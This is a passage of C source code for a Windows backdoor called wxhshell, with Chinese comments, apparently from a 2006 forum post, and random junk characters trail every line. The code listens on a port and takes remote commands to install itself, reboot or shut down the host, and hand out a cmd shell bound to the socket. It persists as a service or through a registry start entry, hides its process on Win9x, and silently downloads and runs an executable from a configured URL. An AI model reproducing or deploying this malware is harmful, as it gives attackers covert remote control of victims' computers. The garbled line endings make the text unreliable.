    switch(cmd[0]) { /^J2B8y  
  ?p(kh^z  
  // 帮助 =KV@&Y^x4  
  case '?': { ?~!tM}X0:3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u0xQ;BQ  
    break; *]5z^> q;7  
  } *%3oyWwCd  
  // 安装 ,NDh@VYe  
  case 'i': { :#WEx_]  
    if(Install()) }xqXd%uz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)Wb#B  
    else @\ }sb]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TfL4_IAG.  
    break; X&s7% ]n+  
    } :ztyxJv1  
  // 卸载 CQ<8P86gt  
  case 'r': { ai4PM b$p  
    if(Uninstall()) 7UnzIe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /M:H9Z8!  
    else V7P6zAJy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oB4#J*   
    break; N*f^Z#B]  
    } Rxx>{+f4M  
  // 显示 wxhshell 所在路径 L.kD,'G}>  
  case 'p': { yOc|*O=]U  
    char svExeFile[MAX_PATH]; Fqo&3+J4  
    strcpy(svExeFile,"\n\r"); J2'K?|,m  
      strcat(svExeFile,ExeFile); QskUdzQ=  
        send(wsh,svExeFile,strlen(svExeFile),0); NS Np  
    break; >=Jsv  
    } b7!UZu]IEv  
  // 重启 Ss 2$n  
  case 'b': { Z9xR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^1.7Juvb  
    if(Boot(REBOOT)) $:e)$Xnn-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?s%v 3T  
    else { dsK/6yu  
    closesocket(wsh); QTYYghz  
    ExitThread(0); m`c#:s'_  
    } SBX|Bcyk*  
    break; Yc d3QRB  
    } rhIGOk1k  
  // 关机 ]/_G-2.R  
  case 'd': { ~6kJ~R4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r sLc&2F  
    if(Boot(SHUTDOWN)) W<Z$YWr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FZpsL-yx^N  
    else { 9 Va40X1  
    closesocket(wsh); EMh r6</  
    ExitThread(0); TMww  
    } *="m3:c'J  
    break; }'TTtV:Q  
    } Jh?z=JY  
  // 获取shell n26>>N  
  case 's': { ;b1wk^,Hw~  
    CmdShell(wsh); gH'_ymT= 3  
    closesocket(wsh); {V0>iN:~S  
    ExitThread(0); x<s|vgl|  
    break; n8$=f'Hgb  
  } UW/N MjK  
  // 退出 k-Fdj5/  
  case 'x': { gfm;xT/y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [fxuUmU  
    CloseIt(wsh); q3)wr%!k5D  
    break; 5DOE3T`^Oc  
    } oIR.|=Hk{  
  // 离开 U@?6*,b(.  
  case 'q': { 6JH 56  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YDFCGA  
    closesocket(wsh); XVF^,Yf  
    WSACleanup(); q & b5g !  
    exit(1); TP{Gt.e  
    break; EE]=f=3  
        } .'/l'>  
  } b_=8!Q.:  
  } 2e.N"eLNt  
IA2GUnUhu  
  // 提示信息 b=1%pX_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z,x" a  
} :+:6_x  
  } +T2HE\  
.T$D^?G!D  
  return; SX+4 HJB  
} Gs_qO)~xo  
9 mPIykAj8  
// shell模块句柄 'gDe3@ci!  
int CmdShell(SOCKET sock) DbtF~`3, .  
{ 5V@&o`!=h  
STARTUPINFO si; s}ADk-7  
ZeroMemory(&si,sizeof(si)); JKy#j g:#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ue6d~8&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VNj@5s  
PROCESS_INFORMATION ProcessInfo; ]'k[u  
char cmdline[]="cmd"; C(o.Cy6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8%ik853`  
  return 0; b+@D_E-RJ  
} IqUp4}  
Z>2]Xx% \  
// 自身启动模式 HabzCH  
int StartFromService(void) @Tr&`Hi  
{ M3(k'q7&:  
typedef struct T4r5s  
{ NR4Jn?l{  
  DWORD ExitStatus; ~+HoSXu@E  
  DWORD PebBaseAddress; #)] c0]p  
  DWORD AffinityMask; Uo6(|mm  
  DWORD BasePriority; DMd ,8W7a  
  ULONG UniqueProcessId; J?%}=_fsa  
  ULONG InheritedFromUniqueProcessId; >vujZw_0>  
}   PROCESS_BASIC_INFORMATION; jK3\K/ob(  
,[`$JNc  
PROCNTQSIP NtQueryInformationProcess; *vnXlV4L  
xmr|'}Pt[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^VI,C|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XlkGjjW#/J  
bRPO:lAy  
  HANDLE             hProcess; =nU/ [T.  
  PROCESS_BASIC_INFORMATION pbi; h/<=u9J  
R#qI( V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eOnT W4  
  if(NULL == hInst ) return 0; .X `C^z]+  
|s=`w8p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Kk\*8 <  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %l7fR}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PLdn#S}.  
RUGv8"j  
  if (!NtQueryInformationProcess) return 0; aFY u}kl  
 KG8W8&q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fg&eoI'f  
  if(!hProcess) return 0; \.<KA  
>]&X ^V%Q#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |^GyH$.  
XP?*=Z]  
  CloseHandle(hProcess); </s,pe79B  
v <Hb-~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z[9UQU~x?  
if(hProcess==NULL) return 0; I:$"E% >=  
{QQl$ys/  
HMODULE hMod; ai;\@$ cq  
char procName[255]; 6>DLp}d  
unsigned long cbNeeded; Qhy#r  
rLF*DB3l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #?&0D>E?k  
HY)ESU !  
  CloseHandle(hProcess); mqFq_UX/ T  
`Ko[r R+  
if(strstr(procName,"services")) return 1; // 以服务启动 %fhNxR  
!/hsJ9  
  return 0; // 注册表启动 2P9J' L  
} 8S  U%  
KcXpH]>!9  
// 主模块 FifbxL  
int StartWxhshell(LPSTR lpCmdLine) 5~r2sCDPk  
{ >I<PO.c!  
  SOCKET wsl; G7-!`-Nk  
BOOL val=TRUE; 'MQ%)hipA  
  int port=0; -9o{vmB{  
  struct sockaddr_in door; G!Zyl^  
v0@)t&O  
  if(wscfg.ws_autoins) Install(); w sY}JT  
[uR/M  
port=atoi(lpCmdLine); };S0 G!  
 ( Uk ,  
if(port<=0) port=wscfg.ws_port; n%$ &=-Fk  
[e e30ELn  
  WSADATA data; mX\ ;oV!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B9M>e'H%<  
Dp!zk}f|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {gU&%j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;dQAV\  
  door.sin_family = AF_INET; #H5=a6E+q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -]XP2}#d  
  door.sin_port = htons(port); r:9gf?(&  
*H2]H @QHN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '*!L!VJ  
closesocket(wsl); IOEM[zhb$  
return 1; ;/sHWI f+Z  
} Cs1>bpY*R6  
=+oZtP-+o  
  if(listen(wsl,2) == INVALID_SOCKET) { ai^|N.!  
closesocket(wsl); ~<r i97)  
return 1; g}Q x`65:  
} 4~|<` vqN  
  Wxhshell(wsl); x-_vl 9P)  
  WSACleanup(); cm@;*  
Vb)zZ^va+  
return 0; : F9|&q-W,  
bQQVj?8jp  
} '6S%9ahE  
+>YfRqz:KB  
// 以NT服务方式启动 vVVPw?Ww-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j[e,?!8;  
{ ;BBpN`T  
DWORD   status = 0; lG"H4Aa>  
  DWORD   specificError = 0xfffffff; Kf.T\V4%  
<qeCso  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -:`V<   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |~e?,[-2`r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]P1YHw9  
  serviceStatus.dwWin32ExitCode     = 0; `9 [i79U  
  serviceStatus.dwServiceSpecificExitCode = 0; 'uC59X4l  
  serviceStatus.dwCheckPoint       = 0; !O)qYmK]|  
  serviceStatus.dwWaitHint       = 0; r@$ w*%  
8cdsToF(e.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (:sZ b?*  
  if (hServiceStatusHandle==0) return; U Cb02h  
m#H_*L0  
status = GetLastError(); T V:<TR  
  if (status!=NO_ERROR) j _ ;fWBD:  
{ z<n-Gzwk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tXq)nfGe{  
    serviceStatus.dwCheckPoint       = 0; qrBZvJU  
    serviceStatus.dwWaitHint       = 0; D}{b;Un  
    serviceStatus.dwWin32ExitCode     = status; xsP4\C>  
    serviceStatus.dwServiceSpecificExitCode = specificError; /A07s[L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LmL Gki$w  
    return; HL8eD^  
  } ;j'Daupt;=  
M_1;$fWq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xRxy|x[  
  serviceStatus.dwCheckPoint       = 0; Lj 8<' "U#  
  serviceStatus.dwWaitHint       = 0; S; /. %  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d3^7ag%  
} YfDWM7x7,  
,XB%\[pKe  
// 处理NT服务事件,比如:启动、停止 C`K^L=8`{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jP=Hf=:$  
{  (^: p  
switch(fdwControl) /QxlGfNZ  
{ h9CIZU[Nh  
case SERVICE_CONTROL_STOP: + ^ yq;z  
  serviceStatus.dwWin32ExitCode = 0; *'8LntZf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <nzN$"%  
  serviceStatus.dwCheckPoint   = 0; Oh; Jw  
  serviceStatus.dwWaitHint     = 0; X0uJNHO  
  { yyP-=Lhmo=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iRw&49  
  } };katqzEg  
  return; x;#zs64f  
case SERVICE_CONTROL_PAUSE: z2 hFn&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qqOFr!)g  
  break; ~]fJlfR*  
case SERVICE_CONTROL_CONTINUE: YpmYxd^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HW6.O|3  
  break; ..qd,9H  
case SERVICE_CONTROL_INTERROGATE: r>n" 51*  
  break; *e{PxaF!C  
}; LU2waq}VA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p3]Q^KFS  
} l-O$m  
l]!B#{  
// 标准应用程序主函数 pv# 2]v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0A[esWmP  
{ #kcSQ'  
2qU&l|>  
// 获取操作系统版本 s~L</Xvo  
OsIsNt=GetOsVer(); 7P**:b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <$i4?)f(  
<bUe/m  
  // 从命令行安装 ,+1m`9}  
  if(strpbrk(lpCmdLine,"iI")) Install(); X.#oEmA ,P  
;L"!I3dM)  
  // 下载执行文件 Xe1P- 6 0  
if(wscfg.ws_downexe) { ^&[+H8$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ")UwkF  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~[W#/kd1n  
} s"~5']8  
P LR0#).n  
if(!OsIsNt) { &|o$=Ad  
// 如果时win9x,隐藏进程并且设置为注册表启动 *l+Cl%e  
HideProc(); W!la-n  
StartWxhshell(lpCmdLine); 1mgLX_U9  
} hYg'2OG  
else kfrY1  
  if(StartFromService()) elO<a]hX  
  // 以服务方式启动 W>-B [5O&[  
  StartServiceCtrlDispatcher(DispatchTable); 4na8  
else x]4Kkpqm  
  // 普通方式启动 Gi?_ujZR  
  StartWxhshell(lpCmdLine); !@L=;1,  
*3+-W  
return 0; ,/2LY4` 5  
}
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只看该作者 1 发表于: 2006-10-10
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